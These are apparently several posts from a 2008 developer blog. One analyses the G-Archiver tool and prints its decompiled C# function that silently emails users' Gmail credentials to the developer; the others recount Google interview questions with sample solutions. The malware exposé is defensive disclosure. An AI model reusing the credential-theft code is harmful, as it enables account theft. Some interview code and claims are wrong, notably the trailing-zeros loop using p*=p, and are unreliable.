src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL-djiqXtyCINCp38S1xd1UBH16exG77wZsLyuXy6uJZBOlDFxTvkyTo72vJF91o3dfD8TRpA-7E-ga3oJZeQMgYO66CgEVILw2LH68DDSM5ngMCxJQ97uBLB5C8SBTs1mUes7r4K8XGJn/s200/theft-lesnikowski.JPG" alt="" id="BLOGGER_PHOTO_ID_5175605731257535458" border="0" /></a>the fun and to verify the story, I downloaded and installed G-Archiver. The application uses two libraries: <span style="font-weight: bold;">Mail.dll </span>and <span style="font-weight: bold;">SM.dll</span> both written for .NET. I opened them with <a href="http://www.aisto.com/roeder/dotnet/">Reflector </a>and first checked out the Mail.dll library, which is a mail lib from lesnikowski.com. <span>From a quick search I couldn't find anything suspicious in this assembly and seems like a helper library. Maybe our guy just used this library for his purpose. And maybe our wise-guy sent a mail to Lesnikowski and that's why he appeared in his contacts. (see <span style="font-style: italic;"><span style="font-weight: bold;">Update #2</span></span>) </span><br /><br />Now to the creepy clue when I slice-opened the <span style="font-weight: bold;">SM.dll </span>assembly there was in front of me a function called <span style="font-weight: bold;">CheckConnection(). </span>What is its cause? For sure it does not check for<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr4SawmP4rgOKEZydCVG1NXLtZ63_OCEoLN7K3ELwTnuJNoEvz8PxooFpdB76bUnggOMHfZeAaJhFVhGWr4sbin3qnuTioBxdI88-k4SZyrGxrsAM3bDQAhBjQkjPPP2iGBJajit14FcLN/s1600-h/theft-function.JPG"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 213px; height: 178px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr4SawmP4rgOKEZydCVG1NXLtZ63_OCEoLN7K3ELwTnuJNoEvz8PxooFpdB76bUnggOMHfZeAaJhFVhGWr4sbin3qnuTioBxdI88-k4SZyrGxrsAM3bDQAhBjQkjPPP2iGBJajit14FcLN/s200/theft-function.JPG" alt="" id="BLOGGER_PHOTO_ID_5175610477196397586" border="0" /></a> the user connection. You probably have guessed right! It sends the users' account details of course! On the right it is the function disassembled by Reflector. Just a parenthesis: These guys were so amateurs that didn't even use an obfuscator to cover up their trails. Anyway, if you cannot view it well here is the code:<br /><br /><span style="font-style: italic;font-size:85%;" >MailMessage message = new MailMessage();</span><br /><span style="font-style: italic;font-size:85%;" >message.To.Add("JTerry79@gmail.com");</span><br /><span style="font-style: italic;font-size:85%;" >message.From = new MailAddress("JTerry79@gmail.com", "JTerry", Encoding.UTF8);<br />message.Subject = "Account";<br />message.SubjectEncoding = Encoding.UTF8;<br /></span><span style="font-style: italic;font-size:85%;" >//<span style="font-weight: bold;">Message body contains username and password</span>....</span><br /><span style="font-style: italic; font-weight: bold;font-size:85%;" >message.Body = "Username: " + a;<br />message.Body = message.Body + "\r\nPassword</span><span style="font-style: italic;font-size:85%;" ><span style="font-weight: bold;">: " + b;</span><br />message.BodyEncoding = Encoding.UTF8;<br />message.IsBodyHtml = false;<br />message.Priority = MailPriority.High;<br />SmtpClient client = new SmtpClient();<br /></span><span style="font-style: italic;font-size:85%;" >//<span style="font-weight: bold;">Enter the wise-guys account details...</span></span><br /><span style="font-style: italic;font-size:85%;" ><span style="font-weight: bold;">client.Credentials = new NetworkCredential("JTerry79@gmail.com", "*******");</span><br />client.Port = 0x24b;</span><br /><span style="font-style: italic;font-size:85%;" >client.Host = "smtp.gmail.com";<br />client.EnableSsl = true;<br /></span><span style="font-style: italic;font-size:85%;" >//<span style="font-weight: bold;">...and send the mail</span></span><br /><span style="font-style: italic; font-weight: bold;font-size:85%;" >client.Send(message); </span><br /><br />And the user's Gmail credentials are stolen with high priority! As you can see, I have hidden the guy's gmail account password, not to protect him, but to <span style="font-weight: bold;">protect</span> <span style="font-weight: bold;">his users, </span>the ones that <span style="font-weight: bold;">trusted </span>his application. After all, there are thousands of Gmail accounts inside and most of them might be still active. Now there is a company associated with the software called MateMedia Inc. And also the sad story is that if you <a href="http://www.google.com/search?q=gmail+backup&hl=en&safe=active&start=10&sa=N">Google search for "gmail backup"</a> the software site (garchiver.com) appears in the second page of the results! Too bad..<br /><br />As the Coding Horror's writer correctly points out, these kinds of incidents hurt the trust of people with professional application developers. However, developers also discovered and exposed this fraud. It is a race in which all developers participate. Ad infinitum or while(true)..<br /><br /><span style="font-weight: bold;"><span style="font-style: italic;">Update #1: </span></span>As I heard the company posted on their site that this piece of code was for testing and it was not removed, as it had to, for release. :) Yeah, right..<br /><br /><span style="font-style: italic;"><span style="font-weight: bold;">Update #2: </span></span>As I wrote in the initial post, <span style="font-weight: bold;">there was nothing suspicious</span> in the Lesnikowski mail library and that the G-Arhiver developer possibly used it and at some point wrote an e-mail to him. It turns out that this actually happened, after I received an e-mail from <span style="font-weight: bold;">Pawel Lesnikowski</span> stating in addition that they <span style="font-weight: bold;">abused</span> his work <span style="font-weight: bold;">without acquiring a license </span>and <span style="font-weight: bold;">that they contacted him</span> having questions about his Mail.dll library. I therefore feel obliged to make some minor changes to the original post. His work can be found at<a href="http://www.lesnikowski.com/"> lesnikowski.com site</a>.ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com379tag:blogger.com,1999:blog-8823755788673864603.post-33188004355612296482008-03-02T11:34:00.000-08:002008-12-09T07:12:06.179-08:00Google Interviews Part V - Just Two More QuestionsThis is the last part of posts describing my own experience interviewing with Google. You may find <a href="http://developeronline.blogspot.com/2008/01/google-interviews-part-ii.html">the first interview here</a> and then follow the traces until this last one.<br /><br />Time had already passed (almost a month) after three successive interviews with Google and this last one was most probably the critical one. I did not prepare for this as much as the previous. The whole thing tires you up and at some point it seems better to relax and concentrate on the psychology rather than the technical stuff.<br /><br />I was only asked two technical questions, and since my language of <a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHQgp7pBvqeFWo0-HlodZx4WLiUlTPk9AszczDk0W9JGU2H5sf7SLpjGPJFlAdGEnP1RQFqUFfQLQH7xBEqrtqX8dESzLFm4neNdemi3JIbJ_cYGwRmT7g0k0Llk3McY8xo0TRwMP6mfga/s1600-h/_google_interview.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 259px; height: 173px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHQgp7pBvqeFWo0-HlodZx4WLiUlTPk9AszczDk0W9JGU2H5sf7SLpjGPJFlAdGEnP1RQFqUFfQLQH7xBEqrtqX8dESzLFm4neNdemi3JIbJ_cYGwRmT7g0k0Llk3McY8xo0TRwMP6mfga/s200/_google_interview.jpg" alt="" id="BLOGGER_PHOTO_ID_5173272237210539010" border="0" /></a>choice was Java the interviewer wanted to see some Java code for the answers. In summary, this interview was perfect. While in all previous interviews, mostly the first and the second, I had some important flaws in my performance, but this one was different. And all this because I was playing in my field.<br /><br />Google at some point asks for a CV. However, the way I see it, Google and other major software companies search always for something unconventional in the candidate's application. You could say of course you know 5 or 10 programming languages, or that you can build an internet spider in 1 minute, however there might be some knowledge you have, that is somewhat rare and hence you should mention. In my case, this is Number Theory.<br /><br />For me, number theory is a passion that has not passed over time. It was love in the first sight, when I became aware of it, maybe at the age of 15 or so, and from that time it was the field mathematics that I was really feeling comfortable with. Anyway, it is not hard to see why it has been named as the "Queen Of Mathematics". First, it is very easy to grasp the basics (primes, divisors etc) since they are inherently tractable by the human brain. After all, every human being starts my learning how to count, which is the first step of the true intelligence, aka understanding that 5 ice creams and 5 cars, share something in common: that they are 5. This helps solving silly cases like, if I ate 5 ice creams and then I ate 1 more, how many did I eat? There is no need to think of ice creams, nor the eating process. All you have to do is to construct the proper model for this situation: use natural numbers and solve 5+1.<br /><br />Another great thing with number theory, is that your 'lab' can be a blank piece of paper. You can argue that 15 is divisible by 3, but all you need is a paper to perform the division. While a physicist might say that in light speeds some hypo-atomic elements, called mambojambions, are created, he still needs a gigantic, CERN-like laboratory to test his theories.<br /><br />Anyway, I myself was raised in a Pythagorean culture(numbers are holy) and so I claimed in my CV to know some number theory stuff. Although I was a little worried if I would be able to defend such claims (after I would be talking to Google), it soon proved to be a wise decision. Both in phone and on site interviews with Google, there was no better time for me than doing number theory. And to much of my surprise, and despite that Google's name is inspired by a natural number (or a unit of measure if you wish), all the 'Googlers' that I spoke and met with, did lack elementary knowledge on the field. This time, (I assume) the interviewer had dug in my profile and wanted to see for himself. Every question and conversation was related to Number Theory.<br /><br />So, the first question was about sets: <span style="font-weight: bold;">"Create a function, called <span style="font-style: italic;">powerSet()</span>, <span style="font-weight: bold;">that will output the power set of the input set." </span></span>The power set in Algebra theory is the set of all subsets of a set (no..bull-set!) If a set has N elements then the power set will have 2^N elements. So if a set is denoted by {a,b} with a,b as elements then the power set is { {},{a},{b},{a,b} }.<br />The {} is the empty set. Note that all elements of the power set are sets. Recursion can help for solving this problem. If for example the <span style="font-weight: bold;">powerSet </span>function can produce power sets for sets that have at most N elements how should we solve for the N+1 case?<br /><br />If we denote sets with capital letters and the initial set as <span style="font-weight: bold;">A, </span>we can use the following algorithm<br /><span style="font-style: italic;">1. define </span><span style="font-weight: bold; font-style: italic;">B </span><span style="font-style: italic;">set initially empty</span> <span style="font-style: italic;"><br />2. </span><span style="font-weight: bold; font-style: italic;">a = extract one element from A<br /></span><span style="font-style: italic;">3. </span><span style="font-weight: bold; font-style: italic;">add powerSet(A) to B</span><span style="font-weight: bold; font-style: italic;"><br /></span><span style="font-style: italic;">4. </span><span style="font-weight: bold; font-style: italic;">for every set in B, say X, add a, and then add it to B<br /></span><span style="font-style: italic;">5. return </span><span style="font-weight: bold;"><span style="font-style: italic;">B</span><span style="font-weight: bold;"><span style="font-weight: bold;"><span style="font-style: italic;"> </span><br /></span></span></span><br />Making the proper checks, this yields a function that can produce the power set of a set. For the Java case you can use the <span style="font-weight: bold;">java.util.Set </span>interface to write the code. I was asked to write the Java code but not asked any further questions, like complexity, runtime and so on. So we moved to the next and final question.<br /><br />This was: <span style="font-weight: bold;">"Create a function, called <span style="font-style: italic;">findZeros()</span>, <span style="font-weight: bold;">that will compute the number of zeros in the decimal representation of <span style="font-style: italic;">n!</span></span></span><span style="font-weight: bold;"><span style="font-weight: bold;">". </span></span>Now this is interesting and despite seemingly easy it has subtle points. For example, 5! = 1.2.3.4.5= 120 has one zero and 10! = 1.2.3.4.5.6.7.8.9.10 = 3628800 and has two zeros. Now the obvious answer is to produce this C-style pseudo code:<br /><br /><span style="font-style: italic;">int findZeros(int n) {</span><br /><span style="font-style: italic;">z<-0;</span> <span style="font-style: italic;"><br />N<- n!</span> <span style="font-style: italic;"><br />while ( N%10==0) { z++; N/=10;}</span> <span style="font-style: italic;">return z;<br />}<br /><br /></span><span style="font-size:100%;">It seems right but has a terrible flaw: it fails at very 'small' values of </span><span style="font-style: italic;font-size:100%;" >n, </span><span style="font-size:100%;">in our 4-byte world, for n=15. Using some Java code like below, we can verify this case.<br /><br /></span><span style="font-size:100%;"><span style="font-style: italic;">int n=1,i=2,m=1;</span><br /></span><span style="font-size:100%;"><span style="font-style: italic;"> while(n>=m)</span> <span style="font-style: italic;"> {<br /></span><span style="font-style: italic;"> m=n; </span><span style="font-style: italic;">n*=i;</span><br /><span style="font-style: italic;"> </span><span style="font-style: italic;"> System.out.println("Previous value "+m+" Current value "+n+" Counter "+i);</span><br /><span style="font-style: italic;"> i++;</span><span style="font-style: italic;"> }</span> </span><span style="font-style: italic;font-size:100%;" ><br />System.out.println("OOPS! Overflow!");<br /><br /></span><span style="font-size:100%;">So, if our code works only for 14 cases, it is pretty much useless. We should do better than that.<br /></span><span style="font-size:100%;">For number theory geeks, like myself, this means show time! The equation below is called the <a href="http://mathworld.wolfram.com/LegendresFormula.html"><span style="font-weight: bold;">Legendre's formula</span></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1rPu7itnkYpxMcPTx3PMuhDdKnQoQwpwnsjD6f4mE2Y15rxMN9lWuOp72u6M-spMH7HhxKJOJa3KPI__WJ3Mm1OzA_nUcAvSRkHKv3FH10tX4GdhxdWYAHx-uuCIb5Lk40M9MaOvF7yfH/s1600-h/eq.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 179px; height: 119px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1rPu7itnkYpxMcPTx3PMuhDdKnQoQwpwnsjD6f4mE2Y15rxMN9lWuOp72u6M-spMH7HhxKJOJa3KPI__WJ3Mm1OzA_nUcAvSRkHKv3FH10tX4GdhxdWYAHx-uuCIb5Lk40M9MaOvF7yfH/s200/eq.jpg" alt="" id="BLOGGER_PHOTO_ID_5173254730923840498" border="0" /></a>and basically computes the factorization of </span><span style="font-style: italic;font-size:100%;" ><span style="font-weight: bold;">n!</span></span><span style="font-size:100%;">. The exponent in which prime </span><span style="font-style: italic;font-size:100%;" ><span style="font-weight: bold;">p </span></span><span style="font-size:100%;"><span>is 'participating' in the factorization is the sum in the figure. Now, we should use it for our case. 10 is the product 2x5. So, the exponents of 2 and 5 in the factorization of <span style="font-style: italic;"><span style="font-weight: bold;">n! </span></span>defines how many zeros we get. For example, 10! = 1.2.3.4.5.6.7.8.9.10 = (2^8).(3^3).(5^2).7 So 2 is found 8 times and 5 is found 2 times in the factorization, hence if we pair up the 2's and 5's we get two zeros. Now, there are obviously more 2's than 5's in the expansion so finally we have to answer at the question:<br /><span style="font-weight: bold; font-style: italic;">What is the exponent of 5 in the factorization of n!</span>?<br />Based on the reasoning above this is equal to the number of zeros of <span style="font-style: italic;"><span style="font-weight: bold;">n!</span></span>.<br />Based on Legendre's formula we have to calculate:<br />[n/5]+[n/5^2]+[n/5^3]+... to infinite. This is done for example by the following Java code<span style="font-style: italic;"></span><br /><br /><span style="font-style: italic;">calculateZeros(int n) {</span><br /><span style="font-style: italic;"> int s=0,r,p=5;</span><span style="font-style: italic;"><br />while((r=(n/p)) !=0)</span> <span style="font-style: italic;"><br />{s+=r;<br />p*=p;}</span><br /><span style="font-style: italic;">System.out.println(n+"! has "+s+" zero"+((s==1)?"":"s"));</span><br /><span style="font-style: italic;">}</span><br /></span></span><span style="font-style: italic;font-size:100%;" ><br /></span><span style="font-size:100%;">For example, 25 = 1.2.3....23.24.25 = 15511210043330985984000000. Running the above code will produce the message <span style="font-style: italic;">25! has 6 zeros.</span> Instead of messing with a number with 26 digits (25!) you only have to deal with the number 25. Why?<br /><br />In the sum S(n) = [n/5]+[n/5^2]+[n/5^3]... the first term, [n/5], computes how many numbers up to <span style="font-style: italic;"><span style="font-weight: bold;">n </span></span>are multiples of 5. For the 25 case there are 5 of them: 5,10,15,20,25. The second computes all multiples of 25, i.e. only one. The third and all others are zero. A number that in its factorization, the prime 5 is in the power of <span style="font-weight: bold;">k, </span>e.g. 10 = 2.5 and k=1 or 25 = 5^2 and k=2, participates in the first k terms of the sum by adding one to each term<span style="font-style: italic;"><span style="font-weight: bold;"></span></span>. Hence its overall contribution is k, hence the sum S(n) calculates the power of 5 in the factorization of <span style="font-style: italic;"><span style="font-weight: bold;">n!</span></span>, and therefore the number of zeros in the decimal representation, Q.E.D.<br /><br /></span><span style="font-size:100%;"> That was it! </span><span style="font-size:100%;">There is no other way to handle such big values and the solution can deal with really gigantic numbers without explicit calculation. The interviewer had elementary number theoretic knowledge</span><span style="font-size:100%;"> </span><span style="font-size:100%;"> but was able to follow the reasoning and we had a very nice conversation after that. He seemed to be fond of such mathematical tricks as the one we dealt with.<br /><br />In summary, I think this was the interview question that booked me the plane ticket to fly to the Google site. I was very satisfied after we hang up and I was impatient for the outcome but deep inside I was sure it was an ideal interview session and that my chances were great. The next morning I received a phone call from Google inviting me for the on site interviews. Mission was accomplished.<br /><br />This post ends a series of posts in which I wrote about my phone interviews with Google along with many interview questions. For the on site interviews I am bound to an NDA so maybe I will post them encrypted! That's all for now about Google interview questions. Until, I come back for the on site experience remember a small tribute to Number Theory: </span><span style="font-style: italic;font-size:100%;" >"Die ganzen Zahlen hat der liebe Gott gemacht, alles andere ist Menschenwerk" (Numbers were created by good Lord. Everything else is human's work-<a href="http://en.wikipedia.org/wiki/Leopold_Kronecker">Leopold Kronecker</a>)</span>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com25tag:blogger.com,1999:blog-8823755788673864603.post-55611603773357441412008-02-12T23:22:00.000-08:002008-12-09T07:12:07.211-08:00Let's Celebrate For A Little - 1K Visitors!This is a special day for the Developer On Line-DOL- blog. Today the number of <span style="font-weight: bold;">unique visitors</span> on this blog reached more or less the astronomical amount of 1024! Before making a little fun a sincere thanks to everybody that has visited this page and specially to anybody that is subscribed on the blog's feeds. Now I think it is time to introduce better, but in short, the story behind this blog and prove why it should keep ...existing!<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0O_IBwXUdYGexCVWhh7QaRDZyo1ARrMp1yS8lxmui7Whitke-oadnyVjCwKxBwfEqKsxqq2158LjmQr_IreY0qFoms08kCjTxhCQG_ElCzOcVwRmNZzYIbvGNpSRv3kVLlQbS_e-RZhP-/s1600-h/0607_fireworks_green.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0O_IBwXUdYGexCVWhh7QaRDZyo1ARrMp1yS8lxmui7Whitke-oadnyVjCwKxBwfEqKsxqq2158LjmQr_IreY0qFoms08kCjTxhCQG_ElCzOcVwRmNZzYIbvGNpSRv3kVLlQbS_e-RZhP-/s200/0607_fireworks_green.jpg" alt="" id="BLOGGER_PHOTO_ID_5166376474739545586" border="0" /></a><br />It started in early September with the first <a href="http://developeronline.blogspot.com/2007/09/hello-world.html">'Hello World' post.</a> Initially I planned to keep it strictly technical but it is not easy to resist broadening the subjects (<span style="font-style: italic;">sticking your nose everywhere is the right expression!)</span>. One thing I have kept is the blog being ad-free and I plan to keep it that way. It is nice to have a clean place for me to write and for you to read.<br /><br />Trying to post original material is also in the 'routine'. The <a href="http://developeronline.blogspot.com/2007/12/book-stacking-problem.html">book stacking problem post</a> is a good example on that. I won't say that everything here is 100% 'cotton' (this is your job!) but I confess having canceled posts that I found that had nothing new to add compared to other web sites. There is no meaning in reposting news, or republishing articles or code that is already there and is freely accessible.<br /><br />Despite being around for almost 6 months, it is true that I have not been so productive. There are a total of 20 posts in this period that equal to less than 1 post per week. DOL promises to intensify the posting process<span style="font-style: italic;"></span> and has already masterminded and executed the perfect business plan for that. I only have to wait for today's lottery and these six numbers to come up and I will be devoted in this blog for the rest of my life...!<br /><br />Some statistics now. You may have noticed that this blog is using Google Analytics to measure blog traffic. It is an easy and nice way to keep track of how people find our page and how they navigate inside it. By understanding how people get to your page, you can increase blog traffic and although I do not earn money from this, it helps me in asserting the quality of the content. Here is some statistics of the countries that have visited this blog. US and Greece stands out, much ahead than other countries(UK, India etc) The main sources come from search engines in which DOL generally ranks pretty well.<br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZ6yods2VTXsPM36DLTPESx0b9GalN3Z-39JaUp3Y5w1FdKG0bjndmzuKuxKPjs6ks9h-7N_KPPj14M9E2_y9DR-PqvGLeJf4_kohQiNNg95qrQj2y4iioOmGqIL1mGAydtNZq8mqgxYBV/s1600-h/googleanalytics.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZ6yods2VTXsPM36DLTPESx0b9GalN3Z-39JaUp3Y5w1FdKG0bjndmzuKuxKPjs6ks9h-7N_KPPj14M9E2_y9DR-PqvGLeJf4_kohQiNNg95qrQj2y4iioOmGqIL1mGAydtNZq8mqgxYBV/s320/googleanalytics.JPG" alt="" id="BLOGGER_PHOTO_ID_5166386765481186818" border="0" /></a><span style="font-style: italic;"></span></div><div style="text-align: center;"><span style="font-size:85%;"><span style="font-style: italic;">DOL visitors in six months</span></span><br /></div><br /><br />Once again, thanks to everybody.<br /><br /><span style="font-weight: bold;">IMPORTANT:</span><br /><span style="font-weight: bold;">PS. Now that DOL has this enormous influence, it officially endorses Barack Obama for President of the US!<br /><br /></span><span style="font-style: italic;">If he loses, DOL invites him to Greece; we urgently need a Prime Minister and we desperately need change...<br /></span>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com3tag:blogger.com,1999:blog-8823755788673864603.post-76871106615418907922008-02-05T17:14:00.000-08:002008-12-09T07:12:07.550-08:00Google Interviews Part IVThis is the 3rd interview I had with Google. You can find the previous and the questions asked here:<br />* <a href="http://developeronline.blogspot.com/2008/01/google-interviews-part-ii.html">First Google interview</a><br />* <a href="http://developeronline.blogspot.com/2008/01/google-interviews-part-iii.html">Second interview</a><br /><br /><span style="font-style: italic;">Update<a href="http://developeronline.blogspot.com/2008/03/google-interviews-part-v-just-two-more.html">: Fourth Google Interview</a></span><br /><br />In the 3rd interview I talked with a woman software engineer from Mountain View. As usually it lasted for about 45 minutes but there was a surprise waiting at the last question..But let's take things from the beginning.<br /><br />The first question was a hard test for my memory: <span style="font-weight: bold;">"How do you test your code?"</span> This is a fair one for software engineers. But not for my style. I personally like things that are quick and dirty. For larger projects I use some of my own class libraries that employ some kind of logging, measure method execution time and so on. But saying <span style="font-style: italic;">"Well, I use my own class libraries."</span> I thought would not be a good answer. Nor a professional one.<br /><br />So talking about Java, I made the mistake of mentioning the JUnit framework. I had used for some time (long ago) but the time had passed so I had forgotten even the basics. And of course the interviewer started the questions (<span style="font-style: italic;">How the JUnit handles exception and others</span>) To tell you a secret I had already opened in my browser a JUnit site (some kind of tutorial I guess) but this didn't help at all. So, don't do it. It will only make things worse. Trying to think logically didn't help either. The interviewer kept pushing, until I 'broke' and admitted that I couldn't answer. That was it. We moved to the next question.<br /><br />All next questions were really typical, the kind you find in tech interview sites:<br />* <span style="font-weight: bold;">"What is a Unix kernel?"</span><br />* <span style="font-weight: bold;">"What is the difference between interfaces and abstractt classes?"</span><br />* <span style="font-weight: bold;">"What is the difference between threads and processes?"</span><br />* <span style="font-weight: bold;">"What is inheritance, polymorphism and encapsulation?"</span><br />* <span style="font-weight: bold;">"What is overriding and what is overloading?"</span><br /><br />I think there is no need to elaborate further on that. You most probably have come across these concepts and have your own mind.<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJIBLunUS5mhDOm62FgVeK7OnLGedXuKHSwl6Vhitm962q7KY1J4kghlYk8FztJ2RnrcqWnUqjG7DAAeICwFO8kXg6GAi5EB0Dp6bFQX0oMGTzc4YyONRBwMTM20cT0UnvNdiUOEnWWF62/s1600-h/cube.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJIBLunUS5mhDOm62FgVeK7OnLGedXuKHSwl6Vhitm962q7KY1J4kghlYk8FztJ2RnrcqWnUqjG7DAAeICwFO8kXg6GAi5EB0Dp6bFQX0oMGTzc4YyONRBwMTM20cT0UnvNdiUOEnWWF62/s200/cube.jpg" alt="" id="BLOGGER_PHOTO_ID_5163686239862198258" border="0" /></a><br />Which brings us to the last question. Actually it was a puzzle including programming with handicaps, i.e. with small processor, low memory etc. The puzzle was this:<br /><span style="font-weight: bold;">"You have 1000 integers. All are less than 1000 and greater or equal to 1. Among them, 999 are distinct and there is one that is found twice. How can you find the duplicate?"</span> To this I gave an answer I think is optimal. The idea is simple. If you denote the duplicate number by <span style="font-style: italic;">d</span> and the sum of all the integers by <span style="font-style: italic;">S</span> then the following equation holds:<br /><span style="font-style: italic;">S-d= 499500</span> since <span style="font-style: italic;">S-d</span> is the sum 1+2+3...+999 which is equal to 499500 by applying the formula 1+2+3...+n = n*(n+1)/2<br />Now the good thing is that we can be able to find the duplicate even we have capacity for one integer, or when reading from a stream and so on. We can optimize even if we apply modulus to the first equation: <span style="font-style: italic;">d = (S-500) (mod 1000)</span> Now if <span style="font-style: italic;">d</span> is equal to a positive number mod1000 then this is the duplicate, otherwise the duplicate is the negative part plus 1000. For example is 1 was the duplicate, then <span style="font-style: italic;">d=1(mod 1000)</span> and the duplicate had to be the 1. If the duplicate was 600, then <span style="font-style: italic;">d=-400(mod 1000)</span> so the duplicate had to be -400+1000=600. This means we do not need to have storage for integer (<span style="font-weight: bold;">int</span> type) but only the <span style="font-weight: bold;">byte</span> type is enough.<br /><br />While fairly easy to grasp the interviewer had difficulties in understanding how this would work, so she asked for an example when we have 10 integers. I replied this would transform the equation to <span style="font-style: italic;">d =S-45</span> but then the counter question was disappointing: <span style="font-weight: bold;">"How did you compute 45?"</span> It is quite obvious however that I had to compute 1+2...+9 which is equal to 45 when applying the formula that Gauss found when he was 8. But the interviewer started computed 'by hand' the sum, adding the numbers from 1 up to 9, which left me speechless for some seconds. I mentioned that there was a formula for that but she didn't listen, still being concentrating on her computations. I didn't bother elaborating on the modulus idea since obviously would not give me any more credit.<br /><br />After that, the interview had finished. I didn't ask anything, saying something like '<span style="font-style: italic;">I have many questions but I do not wish to spend any more of your time'</span> and we ended the conversation. In overall the last incident was really awkward. To that time I believed that all Google engineers had a good mathematical background. The engineer that I spoke with, did lack elementary skills. So in my eyes, the myth had been destroyed and it is a good advice to anybody, not bother berating himself more than he should. If you already knew the formula for the sum of consecutive integers, you have a good reason to feel more confident.<br /><br /><span style="font-style: italic;">Update: Go to the last <a href="http://developeronline.blogspot.com/2008/03/google-interviews-part-v-just-two-more.html">Google phone interview</a></span>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com6tag:blogger.com,1999:blog-8823755788673864603.post-60791630347571255882008-01-20T16:28:00.001-08:002008-12-09T07:12:08.062-08:00Google Interviews Part IIIThis continues <a href="http://developeronline.blogspot.com/2008/01/google-interviews-part-ii.html">from my first Google interview described here</a> In overall, the second one was harder in terms of questions and expectations. I was called again from Mountain View sharply at the time we had arranged.<br /><br />The conversation began with an interesting question: <span style="font-weight:bold;">"What would you change in the Java programming language?"</span> This has more than one questions embedded and it is educating listening to all possible answers. For example, one of my suggestions was having 'mechanisms' much like the <span style="font-style:italic;">properties</span> fields in C# to ease development (programming <span style="font-style:italic;">get/set</span> methods seems very tiring to me)Since the question was referring to the language and not to the Virtual Machine anything you find tiring or absent in Java is probably a valid answer.<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3v3iLoRPooJO-bk6czOgNwcle4JYFqE0ngqhPE3hiCpgb4ZG20wCdbCNJd9XnJRVv59D9fgSXoUdhkX_e-8IyvSDSgRL5b2ZYq2fwbRyPvXJJPtYDJi3dwZg1la7as2DCMtuyYBs4qRpY/s1600-h/1_google_logo.jpg"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3v3iLoRPooJO-bk6czOgNwcle4JYFqE0ngqhPE3hiCpgb4ZG20wCdbCNJd9XnJRVv59D9fgSXoUdhkX_e-8IyvSDSgRL5b2ZYq2fwbRyPvXJJPtYDJi3dwZg1la7as2DCMtuyYBs4qRpY/s200/1_google_logo.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5157736550666919154" /></a><br />We next proceeded to a C programming question. My interviewer knew that I was not a C-guru so he was gentle on that. The question was something like this. What is the output of this C program?<br /><span style="font-style:italic;">main() {<br />char X[500] = "Hello World";<br />printf("%s",X+5);<br />}</span><br />I knew it had to do something with memory allocation but I was not succinct on that. I said that the output would be blank and I guess I was right (<span style="font-weight:bold;">the interviewers never tell you directly if you are right or wrong</span>) So we said OK and moved on.<br /><br />The 3rd question was about creating <span style="font-style:italic;">random functions.</span> It is the type of questions where given a function <span style="font-style:italic;">randX</span> that provides uniformly numbers from 1 to X, to generate a <span style="font-style:italic;">another randY.</span> The actual question was about making <span style="font-weight:bold;">rand8</span> from <span style="font-weight:bold;">rand6</span>. It is easy to establish how to get a <span style="font-weight:bold;">rand2</span> from <span style="font-weight:bold;">rand6.</span> Then you can get <span style="font-weight:bold;">rand8</span> from <span style="font-weight:bold;">rand2</span>.<br /><br />This was a straightforward case. However, this problem appears very often in such situations and deserves some attention. You may find <span style="font-weight:bold;">unlimited nonsense</span> by searching for <a href="http://www.google.com/search?q=create+rand7+from+rand5&sourceid=navclient-ff&ie=UTF-8&rlz=1B3GGGL_enGR239GR239">'create rand7 from rand5</a>' which is also a frequent question. Trying these forums/blogs etc you will get endless efforts of shifting from one <span style="font-style:italic;">rand</span> to another using <span style="font-weight:bold;">common arithmetic functions (addition, mod etc)</span>. This is nonsense. You will have to shift to <span style="font-style:italic;">elementary analysis</span> for a while to get some good results.<br /><br />In the general case consider you have to generate <span style="font-weight:bold;">randX</span> from <span style="font-weight:bold;">randY</span> where <span style="font-weight:bold;">Y > X</span>. Now consider that this yields the division: <span style="font-weight:bold;">Y = n*X+r</span> So, you can <span style="font-weight:bold;">one</span> group of <span style="font-weight:bold;">Y</span> elements into <span style="font-weight:bold;">X</span> groups of <span style="font-weight:bold;">n</span> elements and <span style="font-weight:bold;">one</span> more group with <span style="font-weight:bold;">r</span> elements. Now number the <span style="font-weight:bold;">X</span> groups as <span style="font-style:italic;">1,2,3..X</span> Then, create a 'machine' that uses the algorithm:<br /><span 